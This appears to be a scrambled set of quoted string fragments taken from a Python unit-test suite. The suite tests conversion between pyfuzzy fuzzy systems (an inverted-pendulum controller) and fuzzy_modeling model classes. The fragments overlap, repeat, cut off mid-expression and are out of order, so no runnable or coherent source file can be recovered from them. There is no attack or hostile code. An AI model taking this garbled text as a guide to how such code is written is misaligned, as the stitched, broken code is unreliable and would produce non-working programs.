"as well as at the position X=0. It also is used to demonstrate",
"output_dict2['a']) def _test_rules_adj_in_out_adjs(self, system): \"test if all the rules's adj are the same",
"rule_model.get_pyfuzzy(new_pyfuzzy_system) # new_rule.operator = Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]) new_pyfuzzy_system.rules['far right'] = new_rule self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import math input_dict",
"output adj\" outputs_adjs = [] for var_name, var in system.variables.items(): #: is output",
"= SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected) def _test_new_vs_expected_fuzzy_sysem(self, new_pyfuzzy_system, pyfuzzy_system_expected): import math input_dict = {}",
"Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), ) ), CER=CER ) return system def test_system_from_pyfuzzy(self): \" shoud return the",
"object \" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected) def _test_new_vs_expected_fuzzy_sysem(self, new_pyfuzzy_system,",
"= OutputVariableModel.from_pyfuzzy(acceleration).get_pyfuzzy() new_pyfuzzy_system.variables['a'] = acceleration import math input_dict = {} input_dict[\"X\"] = 0.0",
"Min #from fuzzy.norm.BoundedDifference import BoundedDifference #from fuzzy.norm.DrasticSum import DrasticSum from fuzzy.norm.EinsteinSum import EinsteinSum",
"#: acceleration [m/s²] } output_dict2 = { 'a' : 0.0 #: acceleration [m/s²]",
"be an object that has attr name and a get_pyfuzzy that returns this",
"the correct output when changing all the sets to the new instance of",
"# import pdb; pdb.set_trace() self.assertEquals( membership, new_membership, msg=\"%s != %s in %s\" %",
"pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def test_rule_has_same_adjs_as_output_only(self): \" check if a",
"output when changing all the sets to the new instance of same value",
"= 'a' new_acceleration = OutputVariableModel.from_pyfuzzy(acceleration).get_pyfuzzy() new_pyfuzzy_system.variables['a'] = acceleration import math input_dict = {}",
"Compound( AlgebraicProduct(), Compound( AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"left_near\"]), Input(system.variables[\"X\"].adjectives[\"left_far\"]) ), Compound( EinsteinSum(), Input(system.variables[\"dX_dT\"].adjectives[\"left_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"left_fast\"]) ) ),",
"the pyfuzzy object with another input\" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() import",
"# it gets its value from here operator=Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound( AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]),",
"Compound( AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), ) ), CER=CER ) return system def test_system_from_pyfuzzy(self): \"",
"fuzzy.operator.Input import Input from fuzzy.norm.AlgebraicProduct import AlgebraicProduct CER = AlgebraicProduct() pyfuzzy_system_expected = self._createSystem()",
"fuzzy.Rule import Rule from fuzzy.operator.Input import Input from fuzzy.norm.AlgebraicProduct import AlgebraicProduct CER =",
"in self.rules_mock } pyfuzzy_system_expected.rules = rules_dict self.assertEquals(pyfuzzy_system_expected.description, new_pyfuzzy_system.description) self.assertDictEqual(pyfuzzy_system_expected.variables, new_pyfuzzy_system.variables) self.assertDictEqual(pyfuzzy_system_expected.rules, new_pyfuzzy_system.rules) @classmethod",
"Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]) ) ), CER=CER ) system.rules['tilts right'] = Rule( adjective=a_right_slow,",
"set to a SetModel in th System \" from fuzzy_modeling.models import AdjectiveModel pyfuzzy_system_expected",
"system.rules['far right'] = Rule( adjective=a_right_fast, # it gets its value from here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_right\"]),",
"expected pyfuzzy system pyfuzzy_system_expected = System(self.system_description) variable_dict = { var.name : var.get_pyfuzzy() for",
"), CER=CER ) system.rules['far right'] = Rule( adjective=a_right_fast, # it gets its value",
"given fuzzify \" self.assertIsInstance(new_fuzzify, fuzzify.__class__) def _test_defuzzify(self, defuzzify, new_defuzzify): \" test only a",
"is used to demonstrate some features of pyfuzzy. This is the reason, it",
"= name var.get_pyfuzzy = lambda systme=None: name return var def _mock_systemModel(self): self.system_description =",
"test only a given fuzzify \" self.assertIsInstance(new_defuzzify, defuzzify.__class__) params = [] try: for",
"\"\"\" mock a variable or to be an object that has attr name",
"= { rule.name : rule.get_pyfuzzy() for rule in self.rules_mock } pyfuzzy_system_expected.rules = rules_dict",
"COM = AlgebraicSum() a_stop = Adjective(Polygon([(-10., 0.), (0., 1.), (10., 0.)]), COM=COM) a_stop.name",
"= new_var.getValue() # if var_value != new_var_value: self.assertEquals(new_var_value, var_value) for rule_name, rule in",
"method and default norms INF = AlgebraicProduct() ACC = AlgebraicSum() COM = AlgebraicSum()",
"= Adjective(Polygon([(-10.,0.),(0.,1.),(10.,0.)]),COM=COM) acceleration.adjectives['right_slow'] = a_right_slow = Adjective(Polygon([(0.,0.),(10.,1.),(20.,0.)]),COM=COM) acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) from",
"changing a single rule, but from model\" from fuzzy_modeling.models import RuleModel from fuzzy.Rule",
"test_system_from_pyfuzzy_changing_a_single_rule(self): \"test if work changing a single rule\" from fuzzy.Rule import Rule from",
"a_left_fast = Adjective(Polygon([(-50.,0.),(-20.,1.),(-10.,0.)]),COM=COM) acceleration.adjectives['left_slow'] = a_left_slow = Adjective(Polygon([(-20.,0.),(-10.,1.),(0.,0.)]),COM=COM) acceleration.adjectives['stop'] = a_stop = Adjective(Polygon([(-10.,0.),(0.,1.),(10.,0.)]),COM=COM)",
"= self._createSystem() system_model = SystemModel.from_pyfuzzy(self._createSystem()) output_a = new_pyfuzzy_system.variables[\"a\"] output_a.name = 'a' a_right_fast =",
"\" should return the correct output when changing all the sets to the",
"= AlgebraicProduct() ACC = AlgebraicSum() COM = AlgebraicSum() CER = AlgebraicProduct() COG =",
"= a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) acceleration.name = 'a' new_acceleration = OutputVariableModel.from_pyfuzzy(acceleration).get_pyfuzzy() new_pyfuzzy_system.variables['a'] = acceleration",
"self.rules_mock self.set_pre_mock(SystemModel,'rulemodel_set') SystemModel.rulemodel_set = rulemodel_set return self.system def test_system_get_pyfuzzy(self): \" shoud return the",
"object that has attr name and a get_pyfuzzy that returns this name \"\"\"",
"# it gets its value from here operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) new_pyfuzzy_system.rules['far right'] =",
"for the pyfuzzy object \" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected)",
"= math.radians(270.0) #: angle [rad] input_dict[\"dPhi_dT\"] = math.radians(90.0) #: angle velocity [rad/s] i_dict1",
"import OutputVariable pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() INF = AlgebraicProduct() ACC =",
"\" shoud return the correct corresponding pyfuzzy object \" new_system = self._mock_systemModel() new_pyfuzzy_system",
"adjective=a_left_fast, # it gets its value from here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_left\"]), CER=CER ) system.rules['accelerate cw",
"a OutputVariableModel in th System \" from fuzzy_modeling.models import OutputVariableModel from fuzzy.norm.AlgebraicSum import",
"the correct outout when only changing the outputvar to a OutputVariableModel in th",
"is not None and new_adj.COM is not None: self._test_norm(adj.COM, new_adj.COM) membership = adj.getMembership()",
"math.radians(0.0) #: angle velocity [rad/s] i_dict1 = input_dict.copy() i_dict2 = input_dict.copy() output_dict1 =",
"adjective=a_stop, # it gets its value from here operator=Compound( Max(), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up\"]),",
"new_defuzzify._INF) self._test_norm(defuzzify.ACC, new_defuzzify.ACC) self._test_norm(defuzzify._ACC, new_defuzzify._ACC) def _test_rule(self, rule, new_rule): \"test only a given",
"# it gets its value from here operator=Compound( Max(), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"stop\"])",
"arg = getattr(defuzzify, param_name) new_arg = getattr(new_defuzzify, param_name) self.assertEquals(new_arg, arg) self._test_norm(defuzzify.INF, new_defuzzify.INF) self._test_norm(defuzzify._INF,",
"% (op_call, new_op_call, operator) ) def test_set_only(self): \" should return the correct outout",
"= Adjective(Polygon([(30.,0.),(60.,1.),(90.,0.)])) angle.adjectives['up'] = Adjective(Polygon([(60.,0.),(90.,1.),(120.,0.)])) angle.adjectives['up_left'] = Adjective(Polygon([(90.,0.),(120.,1.),(150.,0.)])) angle.adjectives['up_more_left'] = Adjective(Polygon([(120.,0.),(150.,1.),(180.,0.)])) angle.adjectives['down_more_left'] =",
"ACC=ACC, failsafe=0., segment_size=0.5) acceleration = new_pyfuzzy_system.variables['a'] acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.rules['far right'].adjective",
"self.assertEquals(new_norm.UNKNOWN, norm.UNKNOWN) self.assertEquals(new_norm.T_NORM, norm.T_NORM) self.assertEquals(new_norm.S_NORM, norm.S_NORM) def _test_fuzzify(self, fuzzify, new_fuzzify): \" test only",
"membership, new_membership, msg=\"%s != %s in %s\" % (membership, new_membership, adj) ) def",
"#: is input if hasattr(var, 'fuzzify'): self._test_fuzzify(var.fuzzify, new_var.fuzzify) #: output else: self._test_defuzzify(var.defuzzify, new_var.defuzzify)",
"'a' : 0.0 #: acceleration [m/s²] } pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a'])",
"outputvar to a OutputVariableModel in th System \" from fuzzy_modeling.models import OutputVariableModel from",
"the sets to the new instance of same value, and changing the corresponding",
"new_pyfuzzy_system.variables[var_name] self.assertIsInstance(new_var, var.__class__) self.assertEquals(new_var.description, var.description) self.assertEquals(new_var.min, var.min) self.assertEquals(new_var.max, var.max) self.assertEquals(new_var.unit, var.unit) for adj_name,",
"= RuleModel.from_pyfuzzy(far_right, new_pyfuzzy_system, system_model) new_rule = rule_model.get_pyfuzzy(new_pyfuzzy_system) # new_rule.operator = Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]) new_pyfuzzy_system.rules['far right']",
"new_system = self._mock_systemModel() new_pyfuzzy_system = new_system.get_pyfuzzy() # the expected pyfuzzy system pyfuzzy_system_expected =",
"var_name, var in system.variables.items(): #: is output if not hasattr(var, 'fuzzify'): for adj_name,",
"= new_rule self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import math input_dict = {} input_dict[\"X\"] = 0.0 #: position",
"COG = COG(INF=INF, ACC=ACC, failsafe=0., segment_size=0.5) acceleration = new_pyfuzzy_system.variables['a'] acceleration.adjectives['right_fast'] = a_right_fast =",
"gets its value from here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_left\"]), CER=CER ) system.rules['accelerate cw if down'] =",
"self._test_norm(defuzzify.ACC, new_defuzzify.ACC) self._test_norm(defuzzify._ACC, new_defuzzify._ACC) def _test_rule(self, rule, new_rule): \"test only a given rule\"",
"= Adjective(Polygon([(180.,0.),(210.,1.),(240.,0.)])) angle.adjectives['down_left'] = Adjective(Polygon([(210.,0.),(240.,1.),(270.,0.)])) angle.adjectives['down'] = Adjective(Polygon([(240.,0.),(270.,1.),(300.,0.)])) angle.adjectives['down_right'] = Adjective(Polygon([(270.,0.),(300.,1.),(330.,0.)])) angle.adjectives['down_more_right'] =",
"value from here operator=Compound( Max(), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"stop\"]) ), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]),",
"Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) from fuzzy.Rule import Rule from fuzzy.norm.Max import Max #from fuzzy.norm.Min import Min",
"[ self._named_and_pyfuzzymixin_mock(\"r%d\" % i) for i in xrange(1,2) ] # mocking inputvariablemodel_set #",
"# import pdb; pdb.set_trace() # reset_mock(SystemModel,'inputvariablemodel_set') # reset_mock(SystemModel,'outputvariablemodel_set') # reset_mock(SystemModel,'rulemodel_set') pass def tearDown(self):",
"var in pyfuzzy_system_expected.variables.items(): new_var = new_pyfuzzy_system.variables[var_name] self.assertIsInstance(new_var, var.__class__) self.assertEquals(new_var.description, var.description) self.assertEquals(new_var.min, var.min) self.assertEquals(new_var.max,",
"Compound from fuzzy.operator.Input import Input from fuzzy.operator.Not import Not system.rules['stop'] = Rule( adjective=a_stop,",
"system.rules['tilts left'] = Rule( adjective=a_left_slow, # it gets its value from here operator=Compound(",
"= self._createSystem() INF = AlgebraicProduct() ACC = AlgebraicSum() COM = AlgebraicSum() COG =",
"adj in var.adjectives.items(): outputs_adjs.append(adj) for rule_name, rule in system.rules.items(): self.assertIn(rule.adjective, outputs_adjs) def _test_adj(self,",
"import AlgebraicSum from fuzzy.fuzzify.Plain import Plain from fuzzy.defuzzify.COG import COG # set defuzzification",
"system.rules['accelerate ccw if down'] = Rule( adjective=a_left_slow, # it gets its value from",
"single rule, but from model\" from fuzzy_modeling.models import RuleModel from fuzzy.Rule import Rule",
"it gets its value from here operator=Compound( Max(), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"stop\"]) ),",
"Adjective(Polygon([(0.,0.),(10.,1.),(20.,0.)]),COM=COM) acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) from fuzzy.Rule import Rule from fuzzy.norm.Max import",
"from fuzzy_modeling.models.systems import SystemModel as SystemModelOriginal # import pdb; pdb.set_trace() # reset_mock(SystemModel,'inputvariablemodel_set') #",
"var.__class__) self.assertEquals(new_var.description, var.description) self.assertEquals(new_var.min, var.min) self.assertEquals(new_var.max, var.max) self.assertEquals(new_var.unit, var.unit) for adj_name, adj in",
"Not system.rules['stop'] = Rule( adjective=a_stop, # it gets its value from here operator=Compound(",
"self.input_variable_mock + self.output_variable_mock } pyfuzzy_system_expected.variables = variable_dict rules_dict = { rule.name : rule.get_pyfuzzy()",
"an output adj\" outputs_adjs = [] for var_name, var in system.variables.items(): #: is",
"= self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected) def _test_new_vs_expected_fuzzy_sysem(self, new_pyfuzzy_system, pyfuzzy_system_expected): import math",
"CER=CER ) new_pyfuzzy_system.rules['far right'] = far_right self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import math input_dict = {} input_dict[\"X\"]",
"= Rule( adjective=a_left_slow, # it gets its value from here operator=Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]),",
"InputVariable(fuzzify=Plain(),description='velocity',min=-10.,max=10.,unit='meter per second') system.variables['dX_dT'] = velocity velocity.adjectives['left_fast'] = Adjective(Polygon([(-10.,1.),(-5.,0.)])) velocity.adjectives['left_slow'] = Adjective(Polygon([(-10.,0.),(-2.,1.),(0.,0.)])) velocity.adjectives['stop']",
"in normally symmetrical rules.\"\"\") from fuzzy.norm.AlgebraicProduct import AlgebraicProduct from fuzzy.norm.AlgebraicSum import AlgebraicSum from",
"= getattr(defuzzify, param_name) new_arg = getattr(new_defuzzify, param_name) self.assertEquals(new_arg, arg) self._test_norm(defuzzify.INF, new_defuzzify.INF) self._test_norm(defuzzify._INF, new_defuzzify._INF)",
"of pyfuzzy. This is the reason, it uses different fuzzy norm in normally",
"velocity.adjectives['left_slow'] = Adjective(Polygon([(-10.,0.),(-2.,1.),(0.,0.)])) velocity.adjectives['stop'] = Adjective(Polygon([(-2.,0.),(0.,1.),(2.,0.)])) velocity.adjectives['right_slow'] = Adjective(Polygon([(0.,0.),(2.,1.),(10.,0.)])) velocity.adjectives['right_fast'] = Adjective(Polygon([(5.,0.),(10.,1.)])) acceleration",
"), CER=CER ) return system def test_system_from_pyfuzzy(self): \" shoud return the correct corresponding",
"here operator=Compound( AlgebraicProduct(), Not( Compound( AlgebraicProduct(), Compound( AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"right_near\"]), Input(system.variables[\"X\"].adjectives[\"right_far\"]) ), Compound( DombiUnion(0.25),",
"position.adjectives['stop'] = Adjective(Polygon([(-5.,0.),(0.,1.),(5.,0.)])) position.adjectives['right_near'] = Adjective(Polygon([(0.,0.),(5.,1.),(20.,0.)])) position.adjectives['right_far'] = Adjective(Polygon([(10.,0.),(20.,1.)])) velocity = InputVariable(fuzzify=Plain(),description='velocity',min=-10.,max=10.,unit='meter per",
"angle.adjectives['down_left'] = Adjective(Polygon([(210.,0.),(240.,1.),(270.,0.)])) angle.adjectives['down'] = Adjective(Polygon([(240.,0.),(270.,1.),(300.,0.)])) angle.adjectives['down_right'] = Adjective(Polygon([(270.,0.),(300.,1.),(330.,0.)])) angle.adjectives['down_more_right'] = Adjective(Polygon([(300.,0.),(330.,1.),(360.,0.)])) angle_velocity",
"\" shoud return the correct corresponding Model for the pyfuzzy object with another",
"Input(system.variables[\"dX_dT\"].adjectives[\"left_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"left_fast\"]) ) ), ), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]) ), CER=CER ) system.rules['tilts left'] = Rule(",
"self.output_variable_mock = [ self._named_and_pyfuzzymixin_mock(\"ov%d\" % i) for i in xrange(1,2) ] self.rules_mock =",
"acceleration [m/s²] } pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def test_system_from_pyfuzzy_with_other_input(self): \" shoud",
"= Adjective(Polygon([(-5.,0.),(0.,1.),(5.,0.)])) position.adjectives['right_near'] = Adjective(Polygon([(0.,0.),(5.,1.),(20.,0.)])) position.adjectives['right_far'] = Adjective(Polygon([(10.,0.),(20.,1.)])) velocity = InputVariable(fuzzify=Plain(),description='velocity',min=-10.,max=10.,unit='meter per second')",
"# reset_mock(SystemModel,'outputvariablemodel_set') # reset_mock(SystemModel,'rulemodel_set') pass def tearDown(self): \"\"\"And kill it when done\"\"\" self.reset_all_pre_mocks(SystemModel)",
"new_rule.certainty) self._test_adj(rule.adjective, new_rule.adjective) self._test_norm(rule.CER, new_rule.CER) self._test_norm(rule.CER, new_rule.CER) self._test_operator(rule.operator, new_rule.operator) def _test_operator(self, operator, new_operator):",
": rule.get_pyfuzzy() for rule in self.rules_mock } pyfuzzy_system_expected.rules = rules_dict self.assertEquals(pyfuzzy_system_expected.description, new_pyfuzzy_system.description) self.assertDictEqual(pyfuzzy_system_expected.variables,",
"system def test_system_from_pyfuzzy(self): \" shoud return the correct corresponding Model for the pyfuzzy",
"test_system_from_pyfuzzy_with_other_input(self): \" shoud return the correct corresponding Model for the pyfuzzy object with",
"def test_output_variable_changing_one_sets_only(self): \" should return the correct output when changing all the sets",
"norm in normally symmetrical rules.\"\"\") from fuzzy.norm.AlgebraicProduct import AlgebraicProduct from fuzzy.norm.AlgebraicSum import AlgebraicSum",
"= Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.rules['far right'].adjective = a_right_fast import math input_dict = {} input_dict[\"X\"] =",
"self._test_operator(rule.operator, new_rule.operator) def _test_operator(self, operator, new_operator): \"test only a given rule\" self.assertIsInstance(new_operator, operator.__class__)",
"!= 'self': params.append(arg) # will raise this exception when the given type don't",
"Adjective(Polygon([(90.,0.),(120.,1.),(150.,0.)])) angle.adjectives['up_more_left'] = Adjective(Polygon([(120.,0.),(150.,1.),(180.,0.)])) angle.adjectives['down_more_left'] = Adjective(Polygon([(180.,0.),(210.,1.),(240.,0.)])) angle.adjectives['down_left'] = Adjective(Polygon([(210.,0.),(240.,1.),(270.,0.)])) angle.adjectives['down'] = Adjective(Polygon([(240.,0.),(270.,1.),(300.,0.)]))",
") def _test_set(self, set, new_set): \" test only a given set \" self.assertIsInstance(new_set,",
"\" test only a given fuzzify \" self.assertIsInstance(new_defuzzify, defuzzify.__class__) params = [] try:",
"0.0 #: acceleration [m/s²] } pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def test_system_from_pyfuzzy_changing_a_single_rule_from_model(self):",
"self._test_rules_adj_in_out_adjs(pyfuzzy_system_expected) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def test_system_from_pyfuzzy_changing_a_single_rule(self): \"test if work changing a single rule\" from fuzzy.Rule",
"OutputVariable pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() INF = AlgebraicProduct() ACC = AlgebraicSum()",
"TypeError: pass for param_name in params: arg = getattr(defuzzify, param_name) new_arg = getattr(new_defuzzify,",
"set.points) def _test_norm(self, norm, new_norm): \" test only a given norm \" self.assertIsInstance(new_norm,",
"acceleration.adjectives['right_slow'] = a_right_slow = Adjective(Polygon([(0.,0.),(10.,1.),(20.,0.)]),COM=COM) acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) acceleration.name = 'a'",
"= Adjective(Polygon([(0.,0.),(5.,1.),(20.,0.)])) position.adjectives['right_far'] = Adjective(Polygon([(10.,0.),(20.,1.)])) velocity = InputVariable(fuzzify=Plain(),description='velocity',min=-10.,max=10.,unit='meter per second') system.variables['dX_dT'] = velocity",
"OutputVariableModel in th System \" from fuzzy_modeling.models import OutputVariableModel from fuzzy.norm.AlgebraicSum import AlgebraicSum",
"only a given fuzzify \" self.assertIsInstance(new_defuzzify, defuzzify.__class__) params = [] try: for arg",
"in var.adjectives.items(): outputs_adjs.append(adj) for rule_name, rule in system.rules.items(): self.assertIn(rule.adjective, outputs_adjs) def _test_adj(self, adj,",
"new_var.defuzzify) # import pdb; pdb.set_trace() var_value = var.getValue() new_var_value = new_var.getValue() # if",
"a single rule, but from model\" from fuzzy_modeling.models import RuleModel from fuzzy.Rule import",
"pyfuzzy_system_expected) def _test_new_vs_expected_fuzzy_sysem(self, new_pyfuzzy_system, pyfuzzy_system_expected): import math input_dict = {} input_dict[\"X\"] = 0.0",
"fuzzy_modeling.models.systems import SystemModel from fuzzy.System import System class SystemModelTest(TestCase, ResetMock): def setUp(self): #",
"work changing a single rule, but from model\" from fuzzy_modeling.models import RuleModel from",
"input_dict[\"dPhi_dT\"] = math.radians(90.0) #: angle velocity [rad/s] i_dict1 = input_dict.copy() i_dict2 = input_dict.copy()",
"new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected) def _test_new_vs_expected_fuzzy_sysem(self, new_pyfuzzy_system, pyfuzzy_system_expected): import math input_dict =",
"Polygon from fuzzy.defuzzify.COG import COG pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() INF =",
"fuzzy.System system = fuzzy.System.System(description= \"\"\"This fuzzy system is to control the inverted pendulum",
"AlgebraicSum() COM = AlgebraicSum() COG = COG(INF=INF, ACC=ACC, failsafe=0., segment_size=0.5) acceleration = new_pyfuzzy_system.variables['a']",
"output_dict1 = { 'a' : 0.0 #: acceleration [m/s²] } output_dict2 = {",
"AlgebraicProduct() ACC = AlgebraicSum() COM = AlgebraicSum() COG = COG(INF=INF, ACC=ACC, failsafe=0., segment_size=0.5)",
"is output if not hasattr(var, 'fuzzify'): for adj_name, adj in var.adjectives.items(): outputs_adjs.append(adj) for",
"in params: arg = getattr(norm, param_name) new_arg = getattr(new_norm, param_name) self.assertEquals(new_arg, arg) self.assertEquals(new_norm.UNKNOWN,",
"\" self.assertIsInstance(new_norm, norm.__class__) params = [] try: for arg in inspect.getargspec(norm.__init__).args: if arg",
"new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertNotEquals(output_dict1['a'], output_dict2['a']) def test_output_variable_changing_one_set_and_rule(self): \" should return the",
"the correct corresponding Model for the pyfuzzy object \" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system",
"# self.assertRaises(Exception, new_set.getCOG) self.assertRaisesMessage(Exception, e.message, new_set.getCOG) else: new_cog = new_set.getCOG() self.assertEquals(new_cog, cog) self.assertEquals(new_set.points,",
"\" test only a given norm \" self.assertIsInstance(new_norm, norm.__class__) params = [] try:",
"the position X=0. It also is used to demonstrate some features of pyfuzzy.",
"try: for arg in inspect.getargspec(defuzzify.__init__).args: if arg != 'self' and arg != 'INF'",
"pyfuzzy_system_expected.variables.items(): new_var = new_pyfuzzy_system.variables[var_name] self.assertIsInstance(new_var, var.__class__) self.assertEquals(new_var.description, var.description) self.assertEquals(new_var.min, var.min) self.assertEquals(new_var.max, var.max) self.assertEquals(new_var.unit,",
"it gets its value from here operator=Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound( AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]),",
"[rad] input_dict[\"dPhi_dT\"] = math.radians(0.0) #: angle velocity [rad/s] i_dict1 = input_dict.copy() i_dict2 =",
"acceleration = new_pyfuzzy_system.variables['a'] acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.variables['a'] = acceleration import math",
"} pyfuzzy_system_expected.variables = variable_dict rules_dict = { rule.name : rule.get_pyfuzzy() for rule in",
"= AlgebraicProduct() pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() a_right_fast = new_pyfuzzy_system.variables[\"a\"].adjectives[\"right_fast\"] far_right =",
"COG(INF=INF, ACC=ACC, failsafe=0., segment_size=0.5) acceleration = new_pyfuzzy_system.variables['a'] acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.rules['far",
") system.rules['far right'] = Rule( adjective=a_right_fast, # it gets its value from here",
"corresponding Model for the pyfuzzy object \" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy()",
"Rule( adjective=a_right_fast, # it gets its value from here operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) far_right.name",
"done\"\"\" self.reset_all_pre_mocks(SystemModel) def _named_and_pyfuzzymixin_mock(self, name): \"\"\" mock a variable or to be an",
"var.get_pyfuzzy = lambda systme=None: name return var def _mock_systemModel(self): self.system_description = \"System description\"",
"used to demonstrate some features of pyfuzzy. This is the reason, it uses",
"pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected) def _test_new_vs_expected_fuzzy_sysem(self, new_pyfuzzy_system, pyfuzzy_system_expected): import",
"self.assertEquals(rule.certainty, new_rule.certainty) self._test_adj(rule.adjective, new_rule.adjective) self._test_norm(rule.CER, new_rule.CER) self._test_norm(rule.CER, new_rule.CER) self._test_operator(rule.operator, new_rule.operator) def _test_operator(self, operator,",
"and new_adj.COM is not None: self._test_norm(adj.COM, new_adj.COM) membership = adj.getMembership() new_membership = new_adj.getMembership()",
"new_pyfuzzy_system, system_model) new_rule = rule_model.get_pyfuzzy(new_pyfuzzy_system) # new_rule.operator = Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]) new_pyfuzzy_system.rules['far right'] = new_rule",
"OutputVariable from fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon angle = InputVariable(fuzzify=Plain(),description='angle',min=0.,max=360.,unit='degrees') system.variables['Phi']",
"velocity [m/s] input_dict[\"Phi\"] = math.radians(45.0) #: angle [rad] input_dict[\"dPhi_dT\"] = math.radians(0.0) #: angle",
"\" check if a rule has the same adjectives as the output\" pyfuzzy_system_expected",
"system): \"test if all the rules's adj are the same instance of an",
